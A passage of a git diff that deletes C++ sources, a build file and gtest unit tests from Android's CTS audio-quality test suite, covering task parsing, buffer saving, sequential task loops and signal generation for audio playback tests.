-        for (size_t i = 0; i < mOutput.size(); i++) {
-            (outputTypes.get())[i] = mOutput[i].isIdType();
-        }
-        result = mSp->run( mName,
-                mInput.size(), inputTypes.get(), inputs.get(),
-                mOutput.size(), outputTypes.get(), outputs.get());
-    }
-    if ((result == TaskGeneric::EResultOK) || (result == TaskGeneric::EResultFail)
-            || (result == TaskGeneric::EResultPass)) {
-        // try to save result
-        bool saveResultFailed = false;
-        for (size_t i = 0; i < mOutput.size(); i++) {
-            if (mOutput[i].isIdType()) { // Buffer
-                android::sp<Buffer>* bufferp =
-                        reinterpret_cast<android::sp<Buffer>*>((outputs.get())[i]);
-                if (!getTestCase()->registerBuffer(mOutput[i].getParamString(), *bufferp)) {
-                    // maybe already there, try update
-                    if (!getTestCase()->updateBuffer(mOutput[i].getParamString(), *bufferp)) {
-                        LOGE("cannot register / update %d-th output Buffer for builtin fn %s",
-                                i, mName.string());
-                        saveResultFailed = true; // mark failure, but continue
-                    }
-                }
-            } else { // Value
-                TaskCase::Value* valuep =
-                        reinterpret_cast<TaskCase::Value*>((outputs.get())[i]);
-                if (!getTestCase()->registerValue(mOutput[i].getParamString(), *valuep)) {
-                    if (!getTestCase()->updateValue(mOutput[i].getParamString(), *valuep)) {
-                        LOGE("cannot register / update %d-th output Value for builtin fn %s",
-                                i, mName.string());
-                        saveResultFailed = true; // mark failure, but continue
-                    }
-                }
-            }
-        }
-        if (saveResultFailed) {
-            LOGE("TaskProcess::runBuiltin cannot save result");
-            return TaskGeneric::EResultError;
-        }
-    }
-    LOGV("TaskProcess::runBuiltin return %d", result);
-    return result;
-}
-
-bool TaskProcess::parseParams(std::vector<TaskProcess::Param>& list, const char* str, bool isInput)
-{
-    LOGV("TaskProcess::parseParams will parse %s", str);
-    android::String8 paramStr(str);
-    std::unique_ptr<std::vector<android::String8>> paramTokens(StringUtil::split(paramStr, ','));
-    if (paramTokens.get() == NULL) {
-        LOGE("split failed");
-        return false;
-    }
-    std::vector<android::String8>& tokens = *(paramTokens.get());
-    for (size_t i = 0; i < tokens.size(); i++) {
-        std::unique_ptr<std::vector<android::String8>> itemTokens(StringUtil::split(tokens[i],
-                                                                                    ':'));
-        if (itemTokens.get() == NULL) {
-            LOGE("split failed");
-            return false;
-        }
-        if (itemTokens->size() != 2) {
-            LOGE("size mismatch %d", itemTokens->size());
-            return false;
-        }
-        std::vector<android::String8>& item = *(itemTokens.get());
-        if (StringUtil::compare(item[0], "id") == 0) {
-            Param param(EId, item[1]);
-            list.push_back(param);
-            LOGD(" id %s", param.getParamString().string());
-        } else if (StringUtil::compare(item[0], "val") == 0) {
-            Param param(EVal, item[1]);
-            list.push_back(param);
-            LOGD(" val %s", param.getParamString().string());
-        } else if (isInput && (StringUtil::compare(item[0], "consti") == 0)) {
-            int64_t value = atoll(item[1].string());
-            TaskCase::Value v(value);
-            Param param(v);
-            list.push_back(param);
-            LOGD("consti %lld", value);
-        } else if (isInput && (StringUtil::compare(item[0], "constf") == 0)) {
-            double value = atof(item[1].string());
-            TaskCase::Value v(value);
-            Param param(v);
-            list.push_back(param);
-            LOGD("constf %f", value);
-        } else {
-            LOGE("unrecognized word %s", item[0].string());
-            return false;
-        }
-        LOGV("TaskProcess::parseParams %d-th type %d", i, list[i].getType());
-    }
-   return true;
-}
-
-bool TaskProcess::parseAttribute(const android::String8& name, const android::String8& value)
-{
-    if (StringUtil::compare(name, "method") == 0) {
-        std::unique_ptr<std::vector<android::String8> > tokenPtr(StringUtil::split(value, ':'));
-        std::vector<android::String8>* tokens = tokenPtr.get();
-        if (tokens == NULL) {
-            LOGE("split failed");
-            return false;
-        }
-        if (tokens->size() != 2) {
-            LOGE("cannot parse attr %s %s", name.string(), value.string());
-            return false;
-        }
-        if (StringUtil::compare(tokens->at(0), "builtin") == 0) {
-            mType = EBuiltin;
-        } else if (StringUtil::compare(tokens->at(0), "script") == 0) {
-            mType = EScript;
-        } else {
-            LOGE("cannot parse attr %s %s", name.string(), value.string());
-            return false;
-        }
-        mName.append(tokens->at(1));
-        return true;
-    } else if (StringUtil::compare(name, "input") == 0) {
-        return parseParams(mInput, value, true);
-    } else if (StringUtil::compare(name, "output") == 0) {
-        return parseParams(mOutput, value, false);
-    } else {
-        LOGE("cannot parse attr %s %s", name.string(), value.string());
-        return false;
-    }
-}
-
-TaskProcess::Param::Param(TaskProcess::ParamType type, android::String8& string)
-    : mType(type),
-      mString(string)
-{
-    ASSERT((type == TaskProcess::EId) || (type == TaskProcess::EVal));
-
-}
-
-TaskProcess::Param::Param(TaskCase::Value& val)
-    : mType(TaskProcess::EConst),
-      mValue(val)
-{
-
-}
-
-TaskProcess::ParamType TaskProcess::Param::getType()
-{
-    return mType;
-}
-
-android::String8& TaskProcess::Param::getParamString()
-{
-    ASSERT((mType == TaskProcess::EId) || (mType == TaskProcess::EVal));
-    return mString;
-}
-
-TaskCase::Value& TaskProcess::Param::getValue()
-{
-    ASSERT(mType == TaskProcess::EConst);
-    return mValue;
-}
-
-TaskCase::Value* TaskProcess::Param::getValuePtr()
-{
-    ASSERT(mType == TaskProcess::EConst);
-    return &mValue;
-}
diff --git a/suite/audio_quality/lib/src/task/TaskSave.cpp b/suite/audio_quality/lib/src/task/TaskSave.cpp
deleted file mode 100644
index 64a1928..0000000
--- a/suite/audio_quality/lib/src/task/TaskSave.cpp
+++ /dev/null
@@ -1,157 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-#include <inttypes.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <errno.h>
-
-#include <memory>
-
-#include "Log.h"
-#include "FileUtil.h"
-#include "Report.h"
-#include "StringUtil.h"
-#include "task/TaskCase.h"
-#include "task/TaskGeneric.h"
-#include "task/TaskSave.h"
-
-static const android::String8 STR_FILE("file");
-static const android::String8 STR_REPORT("report");
-
-TaskSave::TaskSave()
-    : TaskGeneric(TaskGeneric::ETaskSave)
-{
-    const android::String8* list[] = {&STR_FILE, &STR_REPORT, NULL};
-    registerSupportedStringAttributes(list);
-}
-
-TaskSave::~TaskSave()
-{
-
-}
-
-bool TaskSave::handleFile()
-{
-    android::String8 fileValue;
-    if (!findStringAttribute(STR_FILE, fileValue)) {
-        LOGI("no saving to file");
-        return true; // true as there is no need to save
-    }
-
-    std::unique_ptr<std::vector<android::String8> > list(StringUtil::split(fileValue, ','));
-    std::vector<android::String8>* listp = list.get();
-    if (listp == NULL) {
-        LOGE("alloc failed");
-        return false;
-    }
-
-    android::String8 dirName;
-    if (!FileUtil::prepare(dirName)) {
-        LOGE("cannot prepare report dir");
-        return false;
-    }
-    android::String8 caseName;
-    if (!getTestCase()->getCaseName(caseName)) {
-        return false;
-    }
-    dirName.appendPath(caseName);
-    int result = mkdir(dirName.string(), S_IRWXU);
-    if ((result == -1) && (errno != EEXIST)) {
-        LOGE("mkdir of save dir %s failed, error %d", dirName.string(), errno);
-        return false;
-    }
-
-    for (size_t i = 0; i < listp->size(); i++) {
-        std::unique_ptr<std::list<TaskCase::BufferPair> > buffers(
-                getTestCase()->findAllBuffers((*listp)[i]));
-        std::list<TaskCase::BufferPair>* buffersp = buffers.get();
-        if (buffersp == NULL) {
-            LOGE("no buffer for given pattern %s", ((*listp)[i]).string());
-            return false;
-        }
-        std::list<TaskCase::BufferPair>::iterator it = buffersp->begin();
-        std::list<TaskCase::BufferPair>::iterator end = buffersp->end();
-        for (; it != end; it++) {
-            android::String8 fileName(dirName);
-            fileName.appendPath(it->first);
-            if (!it->second->saveToFile(fileName)) {
-                LOGE("save failed");
-                return false;
-            }
-        }
-    }
-    return true;
-}
-
-bool TaskSave::handleReport()
-{
-    android::String8 reportValue;
-    if (!findStringAttribute(STR_REPORT, reportValue)) {
-        LOGI("no saving to report");
-        return true; // true as there is no need to save
-    }
-
-    std::unique_ptr<std::vector<android::String8> > list(StringUtil::split(reportValue, ','));
-    std::vector<android::String8>* listp = list.get();
-    if (listp == NULL) {
-        LOGE("alloc failed");
-        return false;
-    }
-    MSG("=== Values stored ===");
-    android::String8 details;
-    for (size_t i = 0; i < listp->size(); i++) {
-        std::unique_ptr<std::list<TaskCase::ValuePair> > values(
-                getTestCase()->findAllValues((*listp)[i]));
-        std::list<TaskCase::ValuePair>* valuesp = values.get();
-        if (valuesp == NULL) {
-            LOGE("no value for given pattern %s", ((*listp)[i]).string());
-            return false;
-        }
-        std::list<TaskCase::ValuePair>::iterator it = values->begin();
-        std::list<TaskCase::ValuePair>::iterator end = values->end();
-
-        for (; it != end; it++) {
-            if (it->second.getType() == TaskCase::Value::ETypeDouble) {
-                details.appendFormat("   %s: %f\n", it->first.string(), it->second.getDouble());
-            } else { //64bit int
-                details.appendFormat("   %s: %" PRId64 "\n", it->first.string(),
-                                     it->second.getInt64());
-            }
-        }
-        MSG("%s", details.string());
-    }
-    getTestCase()->setDetails(details);
-    return true;
-}
-
-TaskGeneric::ExecutionResult TaskSave::run()
-{
-    bool failed = false;
-    if (!handleFile()) {
-        failed = true;
-    }
-    if (!handleReport()) {
-        failed = true;
-    }
-    if (failed) {
-        return TaskGeneric::EResultError;
-    } else {
-        return TaskGeneric::EResultOK;
-    }
-}
-
-
diff --git a/suite/audio_quality/lib/src/task/TaskSequential.cpp b/suite/audio_quality/lib/src/task/TaskSequential.cpp
deleted file mode 100644
index 8c60cb7f..0000000
--- a/suite/audio_quality/lib/src/task/TaskSequential.cpp
+++ /dev/null
@@ -1,138 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-#include <stdlib.h>
-#include <algorithm>
-#include "Log.h"
-#include "StringUtil.h"
-#include "task/TaskSequential.h"
-#include "task/TaskCase.h"
-#include "task/TaskAsync.h"
-
-TaskSequential::TaskSequential()
-    : TaskGeneric(TaskGeneric::ETaskSequential),
-      mRepeatCount(1),
-      mRepeatIndex(-1)
-{
-
-}
-
-TaskSequential::~TaskSequential()
-{
-
-}
-
-
-TaskGeneric::ExecutionResult TaskSequential::run()
-{
-    mRepeatIndex = -1;
-    bool storeIndex = (mIndexName.length() == 0 ? false: true);
-    if (storeIndex && !getTestCase()->registerIndex(mIndexName, mRepeatIndex)) {
-        if (!getTestCase()->updateIndex(mIndexName, mRepeatIndex)) {
-            LOGE("register/update of index %s failed", mIndexName.string());
-            return TaskGeneric::EResultError;
-        }
-    }
-
-    TaskGeneric::ExecutionResult firstError(TaskGeneric::EResultOK);
-
-    for (mRepeatIndex = 0; mRepeatIndex < mRepeatCount; mRepeatIndex++) {
-        LOGI("  TaskSequential index %s loop %d-th", mIndexName.string(), mRepeatIndex);
-        if (storeIndex && !getTestCase()->updateIndex(mIndexName, mRepeatIndex)) {
-            return TaskGeneric::EResultError;
-        }
-        std::list<TaskGeneric*>::iterator i = getChildren().begin();
-        std::list<TaskGeneric*>::iterator end = getChildren().end();
-        for (; i != end; i++) {
-            TaskGeneric* child = *i;
-            TaskGeneric::ExecutionResult result = child->run();
-            if ((result != TaskGeneric::EResultOK) && (firstError == TaskGeneric::EResultOK)) {
-                firstError = result;
-                break;
-            }
-        }
-        TaskGeneric::ExecutionResult result = runAsyncTasksQueued();
-        if ((result != TaskGeneric::EResultOK) && (firstError == TaskGeneric::EResultOK)) {
-                    firstError = result;
-        }
-        switch (firstError) {
-        case TaskGeneric::EResultOK:
-        case TaskGeneric::EResultContinue:
-            // continue at the last index should be treated as OK
-            firstError = TaskGeneric::EResultOK;
-            break; // continue for loop
-        case TaskGeneric:: EResultBreakOneLoop:
-            return TaskGeneric::EResultOK;
-        case TaskGeneric::EResultError:
-        case TaskGeneric::EResultFail:
-        case TaskGeneric::EResultPass:
-            mRepeatIndex = mRepeatCount; //exit for loop
-            break;
-        }
-    }
-    // update to the loop exit value
-    if (storeIndex && !getTestCase()->updateIndex(mIndexName, mRepeatIndex)) {
-        return TaskGeneric::EResultError;
-    }
-    return firstError;
-}
-
-bool TaskSequential::queueAsyncTask(TaskAsync* task)
-{
-    std::list<TaskAsync*>::iterator it;
-    it = std::find(mAsyncTasks.begin(), mAsyncTasks.end(), task);
-    if (it != mAsyncTasks.end()) { // already queued
-        return true;
-    }
-    mAsyncTasks.push_back(task);
-    return true;
-}
-
-TaskGeneric::ExecutionResult TaskSequential::runAsyncTasksQueued()
-{
-    std::list<TaskAsync*>::iterator i = mAsyncTasks.begin();
-    std::list<TaskAsync*>::iterator end = mAsyncTasks.end();
-    TaskGeneric::ExecutionResult firstError(TaskGeneric::EResultOK);
-
-    for (; i != end; i++) {
-        TaskAsync* child = *i;
-        TaskGeneric::ExecutionResult result = child->complete();
-        if ((result != TaskGeneric::EResultOK) && (firstError == TaskGeneric::EResultOK)) {
-            firstError = result;
-        }
-    }
-    mAsyncTasks.clear();
-    return firstError;
-}
-
-
-bool TaskSequential::parseAttribute(const android::String8& name, const android::String8& value)
-{
-    if (StringUtil::compare(name, "repeat") == 0) {
-        mRepeatCount = atoi(value.string());
-        if (mRepeatCount <= 0) {
-            LOGE("TaskSequential::parseAttribute invalid value %s for key %s",
-                    value.string(), name.string());
-            return false;
-        }
-        return true;
-    } else if (StringUtil::compare(name, "index") == 0) {
-        mIndexName.append(value);
-        LOGD("TaskSequential::parseAttribute index %s", mIndexName.string());
-        return true;
-    } else {
-        return false;
-    }
-}
diff --git a/suite/audio_quality/lib/src/task/TaskSound.cpp b/suite/audio_quality/lib/src/task/TaskSound.cpp
deleted file mode 100644
index 58b0364..0000000
--- a/suite/audio_quality/lib/src/task/TaskSound.cpp
+++ /dev/null
@@ -1,118 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-#include <memory>
-#include "Log.h"
-#include "audio/AudioSignalFactory.h"
-#include "audio/RemoteAudio.h"
-#include "StringUtil.h"
-#include "task/TaskCase.h"
-#include "task/TaskSound.h"
-
-static const android::String8 STR_ID("id");
-static const android::String8 STR_TYPE("type");
-
-TaskSound::TaskSound()
-    : TaskGeneric(TaskGeneric::ETaskSound),
-      mPreload(false)
-{
-    const android::String8* list[] = {&STR_ID, &STR_TYPE, NULL};
-    registerSupportedStringAttributes(list);
-}
-
-TaskSound::~TaskSound()
-{
-
-}
-
-bool TaskSound::parseAttribute(const android::String8& name, const android::String8& value)
-{
-    if (StringUtil::compare(name, "preload") == 0) {
-            if (StringUtil::compare(value, "1") == 0) {
-                mPreload = true;
-            }
-            return true;
-    }
-    return TaskGeneric::parseAttribute(name, value);
-}
-
-TaskGeneric::ExecutionResult TaskSound::run()
-{
-    android::String8 id;
-    if (!findStringAttribute(STR_ID, id)) {
-        LOGE("TaskSound::run %s string not found", STR_ID.string());
-        return TaskGeneric::EResultError;
-    }
-    android::String8 type;
-    if (!findStringAttribute(STR_TYPE, type)) {
-        LOGE("TaskSound::run %s string not found", STR_TYPE.string());
-        return TaskGeneric::EResultError;
-    }
-    std::unique_ptr<std::vector<android::String8> > tokens(StringUtil::split(type, ':'));
-    if (tokens.get() == NULL) {
-        LOGE("alloc failed");
-        return TaskGeneric::EResultError;
-    }
-    android::sp<Buffer> buffer;
-    if (StringUtil::compare(tokens->at(0), "file") == 0) {
-        if (tokens->size() != 2) {
-            LOGE("Wrong number of parameters %d", tokens->size());
-        }
-        buffer = Buffer::loadFromFile(tokens->at(1));
-    } else if (StringUtil::compare(tokens->at(0), "sin") == 0) {
-        if (tokens->size() != 4) {
-            LOGE("Wrong number of parameters %d", tokens->size());
-        }
-        int amplitude = atoi(tokens->at(1).string());
-        int freq = atoi(tokens->at(2).string());
-        int time = atoi(tokens->at(3).string());
-        int samples = time * AudioHardware::ESampleRate_44100 / 1000;
-        buffer = AudioSignalFactory::generateSineWave(AudioHardware::E2BPS, amplitude,
-                AudioHardware::ESampleRate_44100, freq, samples, true);
-    } else if (StringUtil::compare(tokens->at(0), "random") == 0) {
-        // TODO FIXME it does not seem to work well.
-        if (tokens->size() != 3) {
-            LOGE("Wrong number of parameters %d", tokens->size());
-        }
-        int amplitude = atoi(tokens->at(1).string());
-        int time = atoi(tokens->at(2).string());
-        int samples = time * AudioHardware::ESampleRate_44100 / 1000;
-        buffer = AudioSignalFactory::generateWhiteNoise(AudioHardware::E2BPS, amplitude,
-                samples, true);
-    } else { // unknown word
-        LOGE("TaskSound::run unknown word in type %s", type.string());
-        // next buffer check will return
-    }
-
-    if (buffer.get() == NULL) {
-        return TaskGeneric::EResultError;
-    }
-    if (!getTestCase()->registerBuffer(id, buffer)) {
-        LOGE("TaskSound::run registering buffer %s failed", id.string());
-        return TaskGeneric::EResultError;
-    }
-    if (mPreload) {
-        int downloadId;
-        if (!getTestCase()->getRemoteAudio()->downloadData(id, buffer, downloadId)) {
-            return TaskGeneric::EResultError;
-        }
-        LOGI("Downloaded buffer %s to DUT with id %d", id.string(), downloadId);
-    }
-    return TaskGeneric::EResultOK;
-}
-
-
-
diff --git a/suite/audio_quality/test/Android.bp b/suite/audio_quality/test/Android.bp
deleted file mode 100644
index 443e995..0000000
--- a/suite/audio_quality/test/Android.bp
+++ /dev/null
@@ -1,59 +0,0 @@
-//
-// Copyright (C) 2012 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-//
-
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
-cc_test_host {
-    name: "cts_audio_quality_test",
-    srcs: ["*.cpp"],
-    test_options: {
-        unit_test: false,
-    },
-    static_libs: [
-        "libbase",
-        "libutils",
-        "liblog",
-        "libcutils",
-        "libtinyalsa",
-        "libtinyxml2",
-    ],
-
-    // need to keep everything in libcts_.. Otherwise, linker will drop some
-    // functions and linker error happens
-    whole_static_libs: ["libcts_audio_quality"],
-
-    cflags: [
-        "-g",
-        "-fno-exceptions",
-        "-Wall",
-        "-Werror",
-        "-Wno-unused-parameter",
-        "-Wno-unused-variable",
-    ],
-    ldflags: [
-        "-g",
-        "-fno-exceptions",
-    ],
-    stl: "libc++_static",
-    target: {
-        darwin: {
-            enabled: false,
-        },
-    },
-    compile_multilib: "first",
-}
diff --git a/suite/audio_quality/test/AudioHardwareTest.cpp b/suite/audio_quality/test/AudioHardwareTest.cpp
deleted file mode 100644
index 35d750b..0000000
--- a/suite/audio_quality/test/AudioHardwareTest.cpp
+++ /dev/null
@@ -1,46 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#include <gtest/gtest.h>
-#include <audio/AudioHardware.h>
-#include <task/TaskAll.h>
-
-
-class AudioHardwareTest : public testing::Test {
-
-};
-
-TEST_F(AudioHardwareTest, DetectTest) {
-    int hwId = AudioHardware::detectAudioHw();
-    ASSERT_TRUE(hwId >= 0);
-}
-
-TEST_F(AudioHardwareTest, LocalFactoryTest) {
-    android::sp<AudioHardware> playback = AudioHardware::createAudioHw(true, true);
-    ASSERT_TRUE(playback.get() != NULL);
-    android::sp<AudioHardware> recording = AudioHardware::createAudioHw(true, false);
-    ASSERT_TRUE(recording.get() != NULL);
-}
-
-TEST_F(AudioHardwareTest, RemoteFactoryTest) {
-    TaskCase* testCase = new TaskCase();
-    ASSERT_TRUE(testCase != NULL);
-    android::sp<AudioHardware> playback = AudioHardware::createAudioHw(false, true, testCase);
-    ASSERT_TRUE(playback.get() != NULL);
-    android::sp<AudioHardware> recording = AudioHardware::createAudioHw(false, false, testCase);
-    ASSERT_TRUE(recording.get() != NULL);
-    delete testCase;
-}
diff --git a/suite/audio_quality/test/AudioLocalTest.cpp b/suite/audio_quality/test/AudioLocalTest.cpp
deleted file mode 100644
index b38c44d..0000000
--- a/suite/audio_quality/test/AudioLocalTest.cpp
+++ /dev/null
@@ -1,92 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#include <unistd.h>
-
-#include <gtest/gtest.h>
-#include <utils/threads.h>
-#include <utils/StrongPointer.h>
-
-#include <audio/AudioLocal.h>
-#include <audio/Buffer.h>
-#include <Log.h>
-
-#include "AudioPlayTestCommon.h"
-
-class AudioPlayerDummy: public AudioLocal {
-public:
-    AudioHardware::SamplingRate mSamplingRate;
-    android::sp<Buffer> mBufferPassed;
-    bool mPrepareCalled;
-    bool mdoStartPlaybackOrRecordCalled;
-    bool mdoContinuePlaybackOrRecordCalled;
-    bool mdoStopCalled;
-    int mPlaybackUnit;
-
-    AudioPlayerDummy()
-        : mSamplingRate(AudioHardware::ESamplingRateInvald),
-          mPrepareCalled(false),
-          mdoStartPlaybackOrRecordCalled(false),
-          mdoContinuePlaybackOrRecordCalled(false),
-          mdoStopCalled(false)
-    {
-
-    }
-
-    virtual bool doPrepare(AudioHardware::SamplingRate samplingRate, int samplesInOneGo) {
-        mPlaybackUnit = samplesInOneGo * 4;
-        LOGV("doPrepare");
-        return true;
-    };
-
-    virtual bool doPlaybackOrRecord(android::sp<Buffer>& buffer) {
-        buffer->increaseHandled(mPlaybackUnit);
-        return true;
-    };
-
-    virtual void doStop() {
-        LOGV("doStop");
-    };
-
-
-};
-
-class AudioLocalTest : public AudioPlayTestCommon {
-public:
-    virtual ~AudioLocalTest() {};
-
-protected:
-    android::sp<AudioHardware> createAudioHw() {
-        android::sp<AudioHardware> hw(new AudioPlayerDummy());
-        return hw;
-    }
-};
-
-TEST_F(AudioLocalTest, PlayAllTest) {
-    playAll(1);
-}
-
-TEST_F(AudioLocalTest, PlayAllRepeatTest) {
-    playAll(4);
-}
-
-TEST_F(AudioLocalTest, StartStopTest) {
-    repeatPlayStop();
-}
-
-TEST_F(AudioLocalTest, WrongUsageTest) {
-    playWrongUsage();
-}
-
diff --git a/suite/audio_quality/test/AudioPlayTestCommon.h b/suite/audio_quality/test/AudioPlayTestCommon.h
deleted file mode 100644
index 96f129c..0000000
--- a/suite/audio_quality/test/AudioPlayTestCommon.h
+++ /dev/null
@@ -1,91 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-#ifndef CTSAUDIO_AUDIOPLAYTESTCOMMON_H
-#define CTSAUDIO_AUDIOPLAYTESTCOMMON_H
-
-#include <gtest/gtest.h>
-#include <utils/threads.h>
-#include <utils/StrongPointer.h>
-
-#include <audio/AudioHardware.h>
-#include <audio/AudioPlaybackLocal.h>
-#include <audio/AudioRecordingLocal.h>
-#include <audio/AudioSignalFactory.h>
-#include <audio/AudioLocal.h>
-#include <audio/Buffer.h>
-
-
-#include <Log.h>
-
-
-class AudioPlayTestCommon : public testing::Test {
-protected:
-    android::sp<Buffer> mBuffer;
-    android::sp<AudioHardware> mAudioHw;
-
-    static const int MAX_POSITIVE_AMPLITUDE = 1000;
-    static const int SIGNAL_FREQ = 1000;
-    static const int SIGNAL_LENGTH = AudioHardware::SAMPLES_PER_ONE_GO * 2;
-    static const int DEFAULT_VOLUME = 10;
-
-protected:
-    virtual ~AudioPlayTestCommon() {
-        LOGV("~AudioPlayTestCommon");
-    }
-    virtual void SetUp() {
-        mAudioHw = createAudioHw();
-        ASSERT_TRUE(mAudioHw.get() != NULL);
-        mBuffer = AudioSignalFactory::generateSineWave(AudioHardware::E2BPS,
-                MAX_POSITIVE_AMPLITUDE, AudioHardware::ESampleRate_44100,
-                SIGNAL_FREQ, SIGNAL_LENGTH);
-        ASSERT_TRUE(mBuffer.get() != NULL);
-    }
-
-    virtual void TearDown() {
-        LOGV("AudioPlayTestCommon::TearDown");
-        mAudioHw->stopPlaybackOrRecord(); // this stops the thread
-        mAudioHw.clear();
-    }
-
-    void playAll(int numberRepetition) {
-        ASSERT_TRUE(mAudioHw->prepare(AudioHardware::ESampleRate_44100, DEFAULT_VOLUME));
-        ASSERT_TRUE(mAudioHw->startPlaybackOrRecord(mBuffer, numberRepetition));
-        ASSERT_TRUE(mAudioHw->waitForCompletion());
-        mAudioHw->stopPlaybackOrRecord();
-        LOGV("size %d, handled %d", mBuffer->getSize(), mBuffer->amountHandled());
-        ASSERT_TRUE(mBuffer->amountHandled() == mBuffer->getSize());
-    }
-
-    void repeatPlayStop() {
-        for (int i = 0; i < 2; i++) {
-            ASSERT_TRUE(mAudioHw->prepare(AudioHardware::ESampleRate_44100, DEFAULT_VOLUME));
-            mBuffer->restart();
-            ASSERT_TRUE(mAudioHw->startPlaybackOrRecord(mBuffer, 10));
-            mAudioHw->stopPlaybackOrRecord();
-        }
-    }
-
-    void playWrongUsage() {
-        ASSERT_FALSE(mAudioHw->startPlaybackOrRecord(mBuffer));
-        ASSERT_TRUE(mAudioHw->prepare(AudioHardware::ESampleRate_44100, DEFAULT_VOLUME));
-        playAll(1);
-    }
-
-    virtual android::sp<AudioHardware> createAudioHw() = 0;
-};
-
-#endif // CTSAUDIO_AUDIOPLAYTESTCOMMON_H
diff --git a/suite/audio_quality/test/AudioPlaybackLocalTest.cpp b/suite/audio_quality/test/AudioPlaybackLocalTest.cpp
deleted file mode 100644
index 896d01c..0000000
--- a/suite/audio_quality/test/AudioPlaybackLocalTest.cpp
+++ /dev/null
@@ -1,57 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-#include <unistd.h>
-
-#include <gtest/gtest.h>
-#include <utils/threads.h>
-#include <utils/StrongPointer.h>
-
-#include <audio/AudioHardware.h>
-#include <GenericFactory.h>
-#include <audio/AudioPlaybackLocal.h>
-
-#include <Log.h>
-
-#include "AudioPlayTestCommon.h"
-
-class AudioPlaybackLocalTest : public AudioPlayTestCommon {
-public:
-    virtual ~AudioPlaybackLocalTest() {};
-protected:
-
-    android::sp<AudioHardware> createAudioHw() {
-        return AudioHardware::createAudioHw(true, true);
-    }
-};
-
-
-TEST_F(AudioPlaybackLocalTest, PlayAllTest) {
-    playAll(1);
-}
-
-TEST_F(AudioPlaybackLocalTest, PlayAllRepeatTest) {
-    playAll(4);
-}
-
-TEST_F(AudioPlaybackLocalTest, StartStopTest) {
-    repeatPlayStop();
-}
-
-TEST_F(AudioPlaybackLocalTest, WrongUsageTest) {
-    playWrongUsage();
-}
-
-
diff --git a/suite/audio_quality/test/AudioRecordPlayLocalTest.cpp b/suite/audio_quality/test/AudioRecordPlayLocalTest.cpp
deleted file mode 100644
index 3a94d06..0000000
--- a/suite/audio_quality/test/AudioRecordPlayLocalTest.cpp
+++ /dev/null
@@ -1,40 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
